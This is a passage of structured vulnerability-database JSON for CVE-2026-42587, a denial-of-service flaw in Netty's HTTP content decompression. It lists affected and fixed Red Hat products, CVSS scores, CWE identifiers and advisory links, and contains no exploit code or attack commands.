7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-picketlink-bindings\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.5.5-30.SP12_redhat_00020.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-picketlink-federation\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.5.5-24.SP12_redhat_00016.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-undertow\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:2.2.40-2.SP3_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-wildfly\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7\"],\"versions\":[{\"version\":\"0:7.4.25-2.GA_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 8.1\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9\"],\"versions\":[{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Streams for Apache Kafka 2.9.4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty\",\"cpes\":[\"cpe:/a:redhat:amq_streams:2.9::el9\"],\"versions\":[{\"version\":\"codec-http2\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI 2.25\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhoai/odh-modelmesh-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai:2.25::el9\"],\"versions\":[{\"version\":\"1783443816\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.28\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/openvsx-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"],\"versions\":[{\"version\":\"1780948325\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.28\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/pluginregistry-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"],\"versions\":[{\"version\":\"1780696380\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.28\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/server-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.28::el9\"],\"versions\":[{\"version\":\"1780694994\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.29\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/multicluster-redirector-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.29::el9\"],\"versions\":[{\"version\":\"1782989027\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:cryostat:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-ekb-dispatcher-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-ekb-receiver-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"OpenShift Serverless\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9\",\"cpes\":[\"cpe:/a:redhat:serverless:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Broker 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_broker:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Broker 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:amq_broker:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Clients\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_clients:2023\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel 4 for Quarkus 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:camel_quarkus:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel 4 for Quarkus 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:camel_quarkus:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:service_registry:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:service_registry:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:apicurio_registry:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:apicurio_registry:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Debezium 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:debezium:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Debezium 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:debezium:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk/keycloak-rhel9\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk/keycloak-rhel9-operator\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk-openshift-rhel9/rhbk-openshift-rhel9\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Keycloak\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhbk-rhel9-operator/rhbk-rhel9-operator\",\"cpes\":[\"cpe:/a:redhat:build_keycloak:\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of OptaPlanner 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:optaplanner:::el6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of OptaPlanner 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:optaplanner:::el6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"bazel6\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"bazel7\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"bazel8\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 8\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform Expansion Pack\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jbosseapxp\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform Expansion Pack\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:jbosseapxp\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-modelmesh-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-spark-operator-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cpu-torch210-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cpu-torch291-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cuda130-torch210-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-cuda130-torch291-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-th06-rocm64-torch291-py312-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-trustyai-service-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-trustyai-service-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Process Automation 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Process Automation 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"candlepin\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"satellite:el8/candlepin\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Single Sign-On 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:red_hat_single_sign_on:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Single Sign-On 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:red_hat_single_sign_on:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"streams for Apache Kafka 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_streams:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"streams for Apache Kafka 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http\",\"cpes\":[\"cpe:/a:redhat:amq_streams:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"streams for Apache Kafka 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"netty-codec-http2\",\"cpes\":[\"cpe:/a:redhat:amq_streams:3\"]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-13T18:43:31.138358Z\",\"id\":\"CVE-2026-42587\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-400\"}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-770\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.1.133\",\"matchCriteriaId\":\"DFE205A5-2C43-40C9-A2FF-CF6759B8D861\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"4.2.0\",\"versionEndExcluding\":\"4.2.13\",\"matchCriteriaId\":\"D94A720F-9CED-4BE9-8C37-FD9E2FD28472\"}]}]}],\"references\":[{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:23808\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:24502\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:25123\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:28010\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:34608\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36820\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:37390\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41951\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:42644\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:50085\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:53644\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:53806\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:54435\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/security/cve/CVE-2026-42587\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://bugzilla.redhat.com/show_bug.cgi?id=2477220\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Mitigation\",\"Vendor Advisory\"]},{\"url\":\"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"}]}}",
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-08-12T19:40:04+00:00",
"cve": "CVE-2026-42587",
"id": "CVE-2026-42587",
"initial_release_date": "2026-05-13T18:22:21.699000+00:00",
"product_status:fixed": "133",
"product_status:known_affected": "39",
"product_status:known_not_affected": "346",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json",
"version": "3"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression\", \"metrics\": [{\"other\": {\"type\": \"Red Hat severity rating\", \"content\": {\"value\": \"Important\", \"namespace\": \"https://access.redhat.com/security/updates/classification/\"}}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"cpes\": [\"cpe:/a:redhat:cryostat:4::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4 on RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"4.2.0-10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"cryostat/cryostat-reports-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4 on RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"4.2.0-10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"cryostat/cryostat-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4 on RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"4.2.0-10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": 